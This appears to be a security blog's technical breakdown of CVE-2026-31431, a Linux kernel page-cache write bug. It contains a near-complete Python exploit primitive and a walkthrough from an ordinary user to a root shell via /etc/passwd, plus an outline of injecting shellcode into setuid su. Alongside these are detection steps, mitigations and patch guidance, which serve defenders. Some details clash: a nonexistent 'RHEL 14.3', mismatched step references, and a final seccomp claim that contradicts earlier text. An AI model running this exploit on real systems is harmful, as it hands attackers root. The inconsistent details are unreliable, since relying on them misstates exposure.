CVE-2026-31431 "Copy Fail": How a 9-Year-Old Linux Kernel Bug Gives Any Local User Root in 732 Bytes

CVE-2026-31431 chains AF_ALG, splice(), and authencesn's ESN scratch write into a deterministic 4-byte page cache write that gives an unprivileged local user root. Full technical breakdown, exploit mechanics, detection, mitigation, and patch status per distro.

CVE-2026-31431 "Copy Fail": How a 9-Year-Old Linux Kernel Bug Gives Any Local User Root in 732 Bytes
Photo by Gabriel Heinzer / Unsplash

Disclosed on April 29, 2026 by the Xint Code research team, CVE-2026-31431 is the kind of vulnerability that makes seasoned kernel developers stop and stare. It's not a race condition you have to win. It's not a heap spray that crashes the system on a bad attempt. It's a straight-line logic flaw -- a deterministic, controlled 4-byte write into the page cache of any file readable by an unprivileged user. A 732-byte Python script using nothing but the standard library takes a system from a normal user account to a root shell. No compilation required. No distro-specific offsets. No timing windows.

The researcher who found it, Theori's Taeyang Lee, fed a single line of context to an AI-assisted scanning tool: "splice() can deliver page-cache references of read-only files to crypto TX scatterlists." The scan ran for an hour. Copy Fail was the highest severity output.

The vulnerability has been silently present in Linux kernels since 2017. All four major enterprise distributions confirmed vulnerable: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 (and 14.3), and SUSE 16. The underlying primitive is broader than local privilege escalation -- Part 2 of the original disclosure, which we're watching closely, covers the Kubernetes container escape path.

If you run Linux and haven't patched yet, the mitigation section of this article is two commands. The rest is for understanding what happened, why it happened, and why it went undetected for nine years.

We've been covering the wave of AI-assisted kernel vulnerability discovery at CoderOasis. Claude Mythos finding 271 zero-days in Firefox 150 and the broader pattern of AI security research tooling are directly related context here -- Copy Fail was found by the same class of tooling. The CVE-2026-33032 nginx-ui vulnerability we covered last week is a different attack surface but represents the same threat model: a single logic error that hands an attacker complete control.

What Is CVE-2026-31431 and Why Is It Serious?

Three numbers first.

Affected kernels: All kernels carrying commit 72548b093ee3 without the upstream revert. That commit landed in 2017. Nine years of production kernels, across every architecture, vulnerable.

Exploit complexity: A single Python script. 732 bytes in the original PoC. No compiled payload. No external dependencies. Python 3.10+ for os.splice(), which shipped in 2021. Any Python installation on a modern Linux system qualifies.

Privilege requirement: Any unprivileged local user with a 4-digit UID (1000-9999 -- the standard range for regular user accounts). No special group membership. No sudo. No service account. A normal desktop or server login.

The specific primitive the bug provides: a deterministic, controlled 4-byte write into the kernel's page cache of any file readable by the current user. The on-disk file is never touched. The kernel's writeback machinery never marks the corrupted page dirty. On-disk file integrity checkers -- anything that checksums files on disk -- will see nothing wrong. The corruption lives entirely in RAM, shared with every process on the system.

This last property is why the impact goes beyond privilege escalation. Every process that reads the target file goes through the page cache. Corrupt /etc/passwd's page cache copy and every tool that calls getpwnam() sees the corrupted version. Corrupt a shared library's page cache pages and every process that loads that library maps the modified code. The page cache is also shared across container boundaries on the same host -- there is no container namespace for the page cache. A containerized process exploiting this bug can write into the page cache of binaries on the host or in other containers.

The original PoC in the GitHub repository uses the /etc/passwd path: corrupt the current user's UID field in the page cache to 0000, then call su with your own password. PAM validates against /etc/shadow (untouched), calls setuid(getpwnam(user).pw_uid), gets 0, and drops a root shell. The su binary's code is never modified. Only the name-to-UID mapping in the page cache is wrong.

What Kernel Subsystems Are Involved?

Understanding the vulnerability requires understanding three Linux kernel subsystems and how they interact. Each is reasonable in isolation. The bug exists at their intersection.

What Is AF_ALG and Who Can Use It?

AF_ALG (Address Family ALG, AF_ALG = 38) is a socket interface that exposes the Linux kernel's cryptographic subsystem to userspace. It was added in kernel 2.6.38 (2011). Any unprivileged process can open an AF_ALG socket:

int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);

No capabilities required. No special permissions. You get a file descriptor into the kernel's crypto API. From there, you can bind to any registered cryptographic algorithm by name:

struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))",
};
bind(sock, (struct sockaddr *)&sa, sizeof(sa));

Once bound, the typical usage is: setsockopt() to set the key, accept() to get a request socket, sendmsg() to send data for encryption or decryption, and recv() to get the result.

The algif_aead.c driver handles the AEAD (Authenticated Encryption with Associated Data) variant. AEAD algorithms encrypt data and authenticate it simultaneously. The authencesn(hmac(sha256),cbc(aes)) template authenticates with HMAC-SHA256 and encrypts with AES-CBC -- this is what IPsec ESP uses with Extended Sequence Numbers.

What Is the Linux Page Cache and Why Does It Matter?

When the kernel reads a file, it doesn't read it fresh from disk every time. It reads the file's data into memory pages and keeps those pages in the page cache. Subsequent reads of the same file come from the page cache -- fast, in RAM. Writes go to the page cache first (marked dirty), and the kernel's writeback thread later flushes them to disk.

Critically: every process on the system shares the same page cache. When two processes read the same file, they're reading from the same physical RAM pages. When you mmap() a file, you're mapping its page cache pages directly into your virtual address space. When execve() loads a binary, it maps the binary's page cache pages into the new process's address space. The page cache is the kernel's authoritative in-memory view of all file data.

Container namespaces isolate filesystem views (via mount namespaces) and process views (via PID namespaces) and network views, but the page cache is not namespaced. Two containers on the same host reading the same file share the same page cache pages. An attacker who can corrupt the page cache corrupts the file as seen by every process on the entire system, in every container, immediately.

What Is splice() and How Does It Pass Page Cache Pages?

splice() is a Linux system call that moves data between file descriptors and pipes without copying the data into userspace. Crucially, when you splice from a file into a pipe, the kernel doesn't copy the file data. It passes references to the file's page cache pages to the pipe.

// Source file descriptor: target_fd
// Write end of pipe: pipe_wr
ssize_t n = splice(target_fd, &off, pipe_wr, NULL, 32, 0);

After this call, the pipe contains page descriptors pointing at the file's actual page cache pages. No data was copied. The page cache pages are now reachable through the pipe.

When you then splice from the pipe into an AF_ALG socket:

splice(pipe_rd, NULL, alg_fd, NULL, 32, 0);

The kernel builds a scatterlist for the crypto operation that contains direct references to those page cache pages. The crypto algorithm will operate on the same physical pages that back the file. If the algorithm writes to its output scatterlist and the output scatterlist contains those pages, the kernel writes into the file's page cache.

This is the mechanism. Now look at the specific code path that activates it.

What Is authencesn and What Does It Do to Its Output Buffer?

authencesn is an AEAD template in the kernel's crypto subsystem, added in 2011 for IPsec Extended Sequence Number support (RFC 4303). IPsec ESP uses 64-bit sequence numbers to protect against replay attacks. The 64-bit sequence number is split into a high word (seqno_hi, 32 bits) and a low word (seqno_lo, 32 bits). Only seqno_lo goes on the wire; seqno_hi is tracked implicitly.

For the HMAC computation, authencesn needs both halves in a specific order: seqno_hi first, then the protected data, then seqno_lo at the end. But the AAD delivered in the sendmsg() call contains seqno_lo at bytes 4-7, and seqno_hi at bytes 0-3. So authencesn needs to rearrange them before computing the HMAC.

It does this rearrangement by using the destination scatterlist as scratch space. In crypto_authenc_esn_decrypt():

// Read bytes 0-7 of AAD from destination SGL (saved to tmp[0] and tmp[1])
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
 
// Overwrite bytes 4-7 of destination SGL with seqno_hi (tmp[0])
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
 
// Write seqno_lo (tmp[1]) PAST the authentication tag -- at offset assoclen + cryptlen
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

That third call is the vulnerability trigger. It writes 4 bytes at dst + assoclen + cryptlen. In the AEAD output format, assoclen + cryptlen is past the end of the legitimate output area -- it's beyond the authentication tag. authencesn is writing into memory it does not own, using the caller's output buffer as a scratch pad.

After the HMAC computation, crypto_authenc_esn_decrypt_tail() reads seqno_lo back from that position to reconstruct the original AAD. But it never writes the original bytes back. Whatever was at dst + assoclen + cryptlen before the operation is now permanently overwritten with seqno_lo -- the 4-byte value from bytes 4-7 of the attacker-supplied AAD.

No other standard AEAD algorithm in the Linux kernel does this. GCM, CCM, and standard authenc all confine their output writes to the legitimate output area. authencesn alone writes past the boundary. Nobody noticed because for nine years, the callers that mattered kept page cache pages out of the writable output scatterlist.

How Did Three Separate Commits Create This Bug?

The vulnerability is not the result of a single mistake. Three separate, individually reasonable changes combined to create the exploitable condition. Each one passed review. Each one had legitimate technical motivation.

Commit 1: authencesn Is Added (2011)

Commit a5079d084f8b adds authencesn to the kernel for IPsec ESN support. From the start, the code uses the caller's destination buffer as scratch space for ESN byte rearrangement. At the time, the only callers were internal kernel IPsec code in the xfrm layer. The "caller" controlled the output buffer and knew what they were putting in it. The scratch write was a private implementation detail of an internal subsystem.

The implicit assumption: whoever provides the destination scatterlist understands that authencesn will write past the output area. This assumption is never documented in any comment or kernel API description.

Commit 2: algif_aead Gains AEAD Support (2015)

Commit 104880a6b470 converts authencesn to the new AEAD interface. In the same year, algif_aead.c is added -- the driver that exposes AEAD algorithms through AF_ALG sockets to unprivileged userspace.

At this point, algif_aead uses out-of-place operation: req->src and req->dst are separate scatterlists. Input data (including any page cache pages from splice()) goes into req->src. Output data goes into req->dst, which is the user's recvmsg() buffer. authencesn's scratch write at dst + assoclen + cryptlen goes into the user's buffer, not the page cache pages. Still not exploitable.

Commit 3: The In-Place Optimization (2017)

Commit 72548b093ee3 optimizes algif_aead.c to perform AEAD operations in-place. The motivation: for decryption, the AAD and ciphertext need to be in the destination scatterlist anyway, so why not set req->src = req->dst and avoid redundant copies?

The implementation copies AAD and ciphertext bytes from the TX SGL into the RX buffer using memcpy_sglist. This is a real data copy -- page cache pages are read, not referenced. But then comes the problem: the authentication tag, the last authsize bytes of the input scatterlist, is not copied. Instead, the kernel chains the tag pages by reference using sg_chain():

// The output scatterlist ends with a chain into the TX SGL's tag pages
sg_chain(areq->first_rsgl.sgl.sgt.sgl, ..., tsgl_src);

After this operation:

Output SGL:  [ AAD || CT in RX buffer ] -> sg_chain -> [ Tag in page cache pages ]
                                                            ^
                                                     These are still page cache pages!
                                                     They are now in req->dst.

Then: req->src = req->dst. Both point to this combined chain.

When authencesn performs its scratch write at dst + assoclen + cryptlen, scatterwalk_map_and_copy walks the output scatterlist past the RX buffer into the chained page cache pages. It calls kmap_local_page() on the page cache page, gets a writable kernel virtual address, and writes the 4-byte seqno_lo value directly into the kernel's cached copy of the target file.

Nobody connected the dots. The 2017 optimizer did not know about authencesn's scratch write. The authencesn developer did not anticipate that the AEAD interface would ever chain page cache pages into the destination scatterlist. The result is a write primitive that bypasses the VFS write path, bypasses file permissions, bypasses the kernel's dirty-page tracking, and bypasses inotify watchers. The write is invisible to every file integrity tool that operates on disk.

How Does the Exploit Work Step by Step?

The PoC in the GitHub repository uses the /etc/passwd path. The disclosure writeup describes the more powerful /usr/bin/su code injection path. We'll walk through both.

The write4 Primitive

The entire exploit rests on a single Python function: write4(target_path, file_offset, four_bytes).

def write4(target_path: str, file_offset: int, four_bytes: bytes) -> None:
    # Open the target file to populate its page cache
    fd_target = os.open(target_path, os.O_RDONLY)
 
    # Read a page to ensure it's in cache
    os.read(fd_target, 4096)
 
    # Set up AF_ALG socket with authencesn
    master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
    master.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    master.setsockopt(SOL_ALG, ALG_SET_KEY,
                      authenc_keyblob(b"\x00" * 32, b"\x00" * 16))
    op, _ = master.accept()
 
    # Construct the AAD: SPI (4 bytes) || seqno_lo (the 4 bytes we want to write)
    aad = b"\x00" * 4 + four_bytes   # bytes 4-7 of AAD = seqno_lo = our payload
 
    # Set up decryption parameters
    cmsg = [
        (SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
        (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16),
        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)),  # assoclen = 8
    ]
    op.sendmsg([aad], cmsg, socket.MSG_MORE)
 
    # Splice the target file into the operation: pipe the page cache pages
    pr, pw = os.pipe()
    os.splice(fd_target, pw, 32, offset_src=file_offset)  # file page -> pipe
    os.splice(pr, op.fileno(), 32)                         # pipe -> AF_ALG socket
 
    # Trigger decryption -- EBADMSG because HMAC fails, but the scratch write
    # into the page cache has already happened unconditionally
    try:
        op.recv(64)
    except OSError as e:
        if e.errno not in (errno.EBADMSG, errno.EINVAL):
            raise

Walk through each syscall:

sendmsg([aad], cmsg, MSG_MORE) -- delivers the AAD to the operation. Bytes 4-7 of aad are four_bytes, the 4-byte value we want to write. MSG_MORE tells the kernel more data is coming. The ciphertext and tag haven't arrived yet.

splice(fd_target, pw, 32, offset_src=file_offset) -- splices 32 bytes of the target file at file_offset into the write end of the pipe. No data is copied. The pipe now holds page descriptors pointing at the target file's page cache pages.

splice(pr, op.fileno(), 32) -- moves those page descriptors from the pipe into the AF_ALG socket's TX SGL. The kernel's crypto framework now has a scatterlist containing direct references to the target file's page cache pages.

recv(64) -- triggers the actual decryption operation. The kernel's algif_aead driver:

  1. Copies AAD and ciphertext bytes from the TX SGL into the RX buffer
  2. Chains the tag pages by reference from the TX SGL into the RX SGL using sg_chain()
  3. Sets req->src = req->dst
  4. Calls the authencesn decrypt function
    Inside authencesn:
  5. Reads seqno_hi and seqno_lo from bytes 0-7 of the destination SGL
  6. Writes seqno_hi to bytes 4-7 of the destination SGL (scratch)
  7. Writes seqno_lo to dst + assoclen + cryptlen -- this is the 4-byte controlled write into the page cache
  8. Computes HMAC over the modified AAD (with garbage key) -- fails
  9. Returns EBADMSG to the caller
    The EBADMSG error is expected and caught. The scratch write at step 3 fires regardless of whether authentication succeeds. The page cache page has been modified. The on-disk file has not been touched.

The /etc/passwd Path to Root

The GitHub PoC uses /etc/passwd because it's world-readable, single-file, and consulted by PAM for every su invocation. The exploit:

  1. Parses /etc/passwd to find the running user's UID field byte offset
def find_uid_field(path, username):
    with open(path, "rb") as f:
        data = f.read()
    needle = username.encode() + b":"
    # Find the line, count colons to reach the UID field
    # Format: username:password:UID:GID:...
    uid_off = # offset of the 4-character UID string
    uid_str = # the UID as a string (e.g. "1000")
    return uid_off, uid_str
  1. Calls write4("/etc/passwd", uid_off, b"0000") to replace the user's UID with 0000 in the page cache
  2. Verifies the write landed:
with open("/etc/passwd", "rb") as f:
    f.seek(uid_off)
    landed = f.read(4)
assert landed == b"0000"   # Page cache, not disk
  1. Confirms getpwnam() now reports UID 0:
pwent = pwd.getpwnam(user)
assert pwent.pw_uid == 0   # libc reads from page cache via the kernel
  1. Executes su <user>:
$ su youruser
Password: [enter your own password]
# whoami
root

PAM validates the password against /etc/shadow -- untouched, your real password works. PAM then calls setuid(getpwnam(user).pw_uid). getpwnam() reads from the page cache, sees UID 0, and setuid(0) succeeds. Root shell.

The on-disk /etc/passwd never changes. After the exploit, running cat /etc/passwd | grep youruser from the root shell shows UID 0 only because the page cache is still corrupted. Rebooting clears it. Running echo 3 > /proc/sys/vm/drop_caches from root clears it immediately.

For non---shell dry runs, the PoC evicts the corrupted page itself using POSIX_FADV_DONTNEED:

fd = os.open("/etc/passwd", os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)

This request drops the page from cache without requiring privileges -- any process can advise the kernel that it no longer needs a file's cached pages.

The /usr/bin/su Code Injection Path

The disclosure writeup describes a more powerful variant that injects shellcode into /usr/bin/su rather than manipulating /etc/passwd. This path does not require the UID to be 4 digits. It operates on any setuid binary.

The approach:

  1. Identify a target shellcode injection point in /usr/bin/su's .text section -- a location that will execute before the binary's privilege-checking code and where 4 bytes of crafted machine code will pass control to a shellcode stub
  2. Call write4("/usr/bin/su", target_offset, shellcode_chunk) repeatedly, 4 bytes at a time, to write the shellcode payload into /usr/bin/su's page cache
  3. execve("/usr/bin/su") -- the kernel loads the binary from the page cache, which now contains injected shellcode in the .text section. Because /usr/bin/su is setuid root, the shellcode runs as UID 0
    The offset arithmetic requires knowing the structure of the /usr/bin/su binary for the specific distro and architecture. This is why the /etc/passwd path is simpler and more portable – it requires only string parsing of a text file, no binary offset knowledge.

How Do You Detect Whether Your System Is Vulnerable?

The detection script in the repository is safe to run: it creates a sentinel file in a temp directory, attempts the scratch write against that sentinel, and checks whether the write landed. It never touches system binaries or /etc/passwd.

# Clone the repository
git clone https://github.com/rootsecdev/cve_2026_31431
cd cve_2026_31431
 
# Run the detector -- no root required
python3 test_cve_2026_31431.py

Exit codes:

Exit Code Meaning
0 (Precondition not met) AF_ALG unavailable or authencesn not registered. Safe.
0 (Page cache intact) Write did not land. Kernel is patched. Safe.
2 (VULNERABLE) Marker PWND found in spliced page. Exploit primitive confirmed working.
2 (Page cache MODIFIED) Page was written but marker position unexpected. Treat as vulnerable.
1 Test error. Check the error message.

The detection script works by writing the 4-byte marker PWND into a temp file's page cache using the exact write4 primitive, then re-reading the temp file and checking whether the marker appears. Exit 0 with Precondition not met is what you want on a system where you've applied the module blacklist mitigation -- it means AF_ALG or authencesn is unreachable, so the exploit path is blocked regardless of kernel version.

Manual kernel version check:

uname -r

Compare against your distro's advisory. If your kernel predates the fix commit (a664bf3d603d) backport for your distro, you are vulnerable unless you've applied the module blacklist mitigation.

Check whether the algif_aead module is loaded:

lsmod | grep algif_aead

If this returns output, the module is currently loaded and the system may be exploitable right now. If it returns nothing, the module is not loaded -- but it could be loaded on demand by an unprivileged user on an unpatched kernel unless the blacklist is in place.

Check whether AF_ALG is accessible:

import socket
try:
    s = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    s.close()
    print("AF_ALG is accessible - check for authencesn availability")
except PermissionError:
    print("AF_ALG blocked at socket level")
except OSError as e:
    print(f"AF_ALG unavailable: {e}")

On a vulnerable unpatched system, this will succeed. On a system with the module blacklisted and evicted, it will succeed at the socket level but bind() to authencesn will fail.

How Do You Mitigate This Immediately Without a Kernel Patch?

The mitigation is module blacklisting. algif_aead is a loadable kernel module. Blacklisting it prevents unprivileged users from instantiating authencesn(hmac(sha256),cbc(aes)) and blocks the entire exploit path.

Immediate Mitigation (Two Commands)

# Block future loading
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
 
# Evict the currently loaded module (if loaded)
sudo rmmod algif_aead 2>/dev/null
 
echo "Mitigation applied."

Verify:

python3 test_cve_2026_31431.py
# Expected: "Precondition not met" -- exit 0

The install algif_aead /bin/false directive in modprobe.conf tells modprobe to run /bin/false instead of loading the module when anything requests it. This works at both the kernel level (kernel module autoload requests) and at the userspace level (explicit modprobe algif_aead). An unprivileged user calling socket(AF_ALG, ...) followed by bind() to an authencesn name will receive ENODEV or ENOENT from the bind call.

The rmmod algif_aead evicts the module if it's currently resident. If the module isn't loaded, this command fails silently (the 2>/dev/null suppresses the error).

This mitigation persists across reboots via the modprobe.d configuration file. Rebooting without removing that file keeps the module blacklisted.

Impact of the Mitigation

Blacklisting algif_aead removes AF_ALG AEAD support from the system. Assess whether any application on your system uses it before applying.

Most systems: No impact. algif_aead is used by applications that explicitly want kernel AEAD crypto via the userspace API rather than using a library like OpenSSL. Most applications use OpenSSL, GnuTLS, or NSS directly and never touch AF_ALG. The module may not even be loaded.

Potential impact areas:

  • Applications explicitly using AF_ALG for hardware-accelerated crypto (some VPN daemons, some specialized networking tools)
  • Containers that require AEAD operations through the AF_ALG interface
  • Some hardware security modules or crypto accelerator drivers that expose through algif_aead
    Check whether algif_aead is in use before applying:
# Check if any process has the module open
lsof 2>/dev/null | grep algif_aead
 
# Check system logs for recent algif_aead activity
journalctl --since "24 hours ago" | grep -i "algif_aead\|aead"
 
# Check if module is loaded at all
lsmod | grep algif_aead

If the module isn't loaded and hasn't been loaded recently, the blacklist has zero operational impact.

Workaround via seccomp (Container Environments)

For container deployments where the module blacklist would affect multiple tenants, an alternative is blocking AF_ALG socket creation via seccomp:

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCMP_CMP_EQ"
        }
      ],
      "errnoRet": 1
    }
  ]
}

This blocks socket(AF_ALG, ...) calls at the seccomp layer, preventing access to the AF_ALG interface entirely for the container without affecting the host. Docker and Kubernetes both support custom seccomp profiles.

For Kubernetes, apply this as a pod-level annotation:

apiVersion: v1
kind: Pod
metadata:
  annotations:
    seccomp.security.alpha.kubernetes.io/pod: localhost/disable-af-alg.json
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: disable-af-alg.json

Note: seccomp profiles affect only the container, not the host kernel. For the container escape path (Part 2 of the disclosure), you also need to block the module at the host level.

What Is the Upstream Kernel Patch and What Did It Change?

The upstream fix landed in commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 on April 1, 2026 -- roughly four weeks before public disclosure, following the coordinated disclosure timeline.

The fix is a revert of the 2017 in-place optimization. It returns algif_aead to out-of-place operation. The Fixes: tag in the commit points to 72548b093ee3, confirming that the in-place optimization is the root cause.

The core change, simplified:

// BEFORE (vulnerable -- in-place, req->src == req->dst)
aead_request_set_crypt(
    &areq->cra_u.aead_req,
    areq->first_rsgl.sgl.sgt.sgl,    // RX SGL as source
    areq->first_rsgl.sgl.sgt.sgl,    // RX SGL as destination (same)
    used,
    ctx->iv
);
 
// AFTER (fixed -- out-of-place, req->src != req->dst)
aead_request_set_crypt(
    &areq->cra_u.aead_req,
    tsgl_src,                          // TX SGL as source (may contain page cache pages)
    areq->first_rsgl.sgl.sgt.sgl,    // RX SGL as destination (user's recvmsg buffer)
    used,
    ctx->iv
);

After the fix, req->src points to the TX SGL (which may include page cache pages from splice()). req->dst points to the RX SGL (the user's recvmsg() buffer). The AAD is copied from source to destination as before. The tag pages from the TX SGL are no longer chained into the destination scatterlist using sg_chain() -- they remain in the source scatterlist, where they are read-only.

When authencesn performs its scratch write at dst + assoclen + cryptlen, scatterwalk_map_and_copy now walks the RX SGL -- the user's buffer -- not the page cache pages. The 4-byte write lands in the user's own memory. The page cache is never touched.

The commit message puts it plainly: "There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings."

The performance motivation for the 2017 optimization was never measured against a real workload. The "optimization" added significant complexity and created a nine-year exploitable condition for a performance improvement that existed only on paper.

Which Distributions Are Patched and How Do You Update?

This section is accurate as of the public disclosure date (April 29, 2026). Distribution advisories may have moved faster since. Always check your distro's security tracker for the current status.

Ubuntu 24.04 LTS

Confirmed vulnerable. Tested kernel: 6.17.0-1007-aws.

Ubuntu's USN (Ubuntu Security Notice) process typically produces kernel updates within days of an upstream fix landing. Check for the USN covering CVE-2026-31431:

# Update package lists
sudo apt update
 
# Check available kernel updates
apt list --upgradable 2>/dev/null | grep linux-image
 
# Apply kernel update
sudo apt upgrade linux-image-$(uname -r)
 
# Or upgrade all packages
sudo apt upgrade
 
# Reboot to apply the new kernel
sudo reboot

After reboot:

uname -r    # Verify the new kernel version
python3 test_cve_2026_31431.py    # Verify fix: should see "Page cache intact"

For Ubuntu specifically, check the Ubuntu Security Notices page for the USN covering this CVE. The USN will list the specific kernel version that includes the fix for each Ubuntu release.

Ubuntu 20.04 LTS (Focal) and 22.04 LTS (Jammy): The disclosure confirms that kernels carrying 72548b093ee3 without the upstream revert are affected. Both of these releases ship kernels that include the 2017 commit. Check for kernel updates on these releases as well.

Amazon Linux 2023

Confirmed vulnerable. Tested kernel: 6.18.8-9.213.amzn2023.

# Check for kernel updates
sudo dnf check-update kernel
 
# Apply kernel update
sudo dnf update kernel
 
# Reboot
sudo reboot
 
# Verify
uname -r
python3 test_cve_2026_31431.py

Amazon Linux publishes security advisories at https://alas.aws.amazon.com. Search for ALAS-2026 advisories referencing CVE-2026-31431. Given the CVSS severity and that this affects Amazon Linux 2023 directly, expect an ALAS advisory within a day or two of disclosure.

Amazon Linux 2: The AL2 kernel lineage is older and follows different backport timelines. Check the ALAS tracker for AL2 advisories separately.

Red Hat Enterprise Linux (RHEL)

Confirmed vulnerable. The disclosure references RHEL 14.3. The CVE tracker entry covers RHEL 10.1 explicitly.

# RHEL 10 / Rocky Linux 10 / AlmaLinux 10
sudo dnf update kernel
 
# RHEL 9 / Rocky Linux 9 / AlmaLinux 9 (check if affected)
sudo dnf update kernel
 
sudo reboot

Red Hat publishes CVE advisories at https://access.redhat.com/security/cve/CVE-2026-31431. The Red Hat advisory will list affected RHEL versions, the fixed package version, and errata identifiers.

Rocky Linux and AlmaLinux: Both distributions follow Red Hat's advisories closely and typically ship kernel updates within hours to days of RHEL's release. Check Rocky's errata tracker and AlmaLinux's errata.

CentOS Stream: CentOS Stream 10 follows RHEL 10's kernel closely. Apply available kernel updates via dnf update kernel.

SUSE Linux Enterprise / openSUSE

Confirmed vulnerable. Tested kernel: 6.12.0-160000.9-default (SUSE 16).

# SUSE Linux Enterprise 16 / openSUSE Leap 16
sudo zypper refresh
sudo zypper update -t patch
 
# Or specifically update the kernel
sudo zypper update kernel-default
 
sudo reboot

SUSE publishes security advisories (SUSE-SU) at https://www.suse.com/support/update/. Search for advisories referencing CVE-2026-31431. For openSUSE Tumbleweed, rolling release updates typically include upstream kernel patches rapidly; check zypper list-updates and apply the current kernel.

Debian

Debian's security tracker at https://security-tracker.debian.org/tracker/CVE-2026-31431 will show the fix status per release. Apply available updates:

sudo apt update
sudo apt upgrade linux-image-amd64    # or linux-image-generic
sudo reboot

Debian stable (Bookworm, currently 12.x) backports security-critical kernel patches. Check the tracker for the fixed DSA (Debian Security Advisory).

Arch Linux

Arch's rolling release model means the upstream kernel patch lands quickly. Check the current kernel version:

sudo pacman -Sy linux linux-headers
sudo reboot

After any kernel update past the fix date (upstream commit April 1, 2026), you should be patched. Verify with uname -r and the detection script.

Fedora

Fedora ships recent kernels and typically carries upstream security fixes rapidly. Check for updates:

sudo dnf update kernel
sudo reboot

Fedora's security advisories are at https://bodhi.fedoraproject.org. Search for CVE-2026-31431.

Distribution Status Summary

Distribution Status Update Command
Ubuntu 24.04 LTS Vulnerable -- patch expected/check USN apt update && apt upgrade
Ubuntu 22.04 LTS Likely vulnerable -- check USN apt update && apt upgrade
Amazon Linux 2023 Vulnerable -- patch expected/check ALAS dnf update kernel
RHEL 10.1 Vulnerable -- patch expected/check RH advisory dnf update kernel
SUSE 16 Vulnerable -- patch expected/check SUSE-SU zypper update
Arch Linux Check kernel version vs. upstream fix date pacman -Syu
Fedora Check kernel version vs. upstream fix date dnf update kernel
Debian Bookworm Check DSA tracker apt update && apt upgrade

Apply the module blacklist mitigation now. Do not wait for the kernel package to arrive in your distro's repository. The mitigation requires no reboot, takes 10 seconds to apply, and blocks the exploit path immediately:

sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
python3 test_cve_2026_31431.py    # Verify: should see "Precondition not met"

Remove the blacklist after confirming the kernel patch is applied and the detection script returns exit 0 with "Page cache intact":

sudo rm /etc/modprobe.d/disable-algif-aead.conf
python3 test_cve_2026_31431.py    # Should now say "Page cache intact" (fixed kernel)

Why Did This Bug Survive Undetected for Nine Years?

This is the interesting question, and the answer reveals a structural problem in how the Linux kernel security surface is analyzed.

The bug requires three components interacting simultaneously:

  1. authencesn's undocumented scratch write past the output boundary (2011)
  2. AF_ALG's splice path delivering page cache pages as input (2015)
  3. algif_aead's in-place operation chaining page cache pages into the output scatterlist (2017)
    No individual code review of any single component would catch this. Each piece is internally coherent. The scratch write in authencesn looks like a normal buffer manipulation. The splice path in algif_aead looks like a legitimate zero-copy optimization. The in-place change looks like a straightforward performance improvement. The intersection -- that a page cache page could end up as a writable destination for an algorithm that writes past its legitimate output boundary -- requires holding all three simultaneously in mind.

Kernel security reviews tend to focus on individual subsystems. The crypto subsystem and the VFS/page cache subsystem are maintained by different groups. The AF_ALG interface is a bridge between them, but the security properties of that bridge -- specifically, what types of memory can end up in a scatterlist and whether every algorithm in the crypto subsystem respects the write boundary contract -- were not formally characterized.

Existing bug-finding tools have similar limitations. Fuzzing AF_ALG with random inputs finds crashes and memory safety bugs but not logic bugs where a controlled, non-crashing write goes to the wrong place. Symbolic execution of authencesn finds the scratch write but doesn't automatically recognize that the destination could be page cache memory rather than a normal buffer. Cross-subsystem semantic analysis at this level of depth requires either human expertise spanning both subsystems or a tool capable of tracking page provenance across subsystem boundaries.

Taeyang Lee bridged this gap by formulating the right hypothesis: "splice() can deliver page-cache references of read-only files to crypto TX scatterlists." That hypothesis is narrow and specific. It named the exact mechanism that creates the dangerous condition. Given that hypothesis as context, automated analysis of the crypto subsystem could identify authencesn as the only algorithm that writes past its output boundary. The connection from hypothesis to bug to exploit was hours of automated analysis, not weeks of manual review.

This is the same pattern as the Claude Mythos Firefox finding – AI tooling doesn't replace the researcher's initial insight. It scales and accelerates the exploration once the right question is formulated. A researcher who knows which rock to look under uses the tool to systematically check everything under and around that rock.

What Are the Container Escape and Kubernetes Implications?

The disclosure explicitly flags that page cache is shared across container boundaries and that Part 2 covers the container escape path. We don't yet have the full details of Part 2, but the mechanism is clear from first principles.

On a container host:

  • The page cache is not namespaced. It is a global kernel data structure.
  • A containerized process that can access AF_ALG (which is available by default unless the seccomp profile blocks it) can execute write4 against any file readable by its user.
  • Container filesystem isolation (mount namespaces) controls which files the container can see at the VFS layer. But if a container can access a file -- even a read-only bind mount from the host -- it can splice that file's pages into AF_ALG and corrupt them in the page cache.
  • The corrupted page is immediately visible to all processes on the host and in all containers sharing the same host kernel.
    The practical attack chain:
  1. A container with a world-readable bind mount of a host binary (common in Kubernetes for shared tooling, log aggregators, or monitoring agents)
  2. Use write4 to corrupt that binary's page cache pages
  3. Any process on the host that executes that binary runs the modified code
    Alternatively: if a Kubernetes pod can read /etc/passwd from the node (via a hostPath volume or through a node agent), the /etc/passwd exploit path works against the host from a container.

Immediate action for Kubernetes clusters:

Apply the seccomp profile to block AF_ALG in all pods:

spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault    # Docker and containerd default profiles block AF_ALG

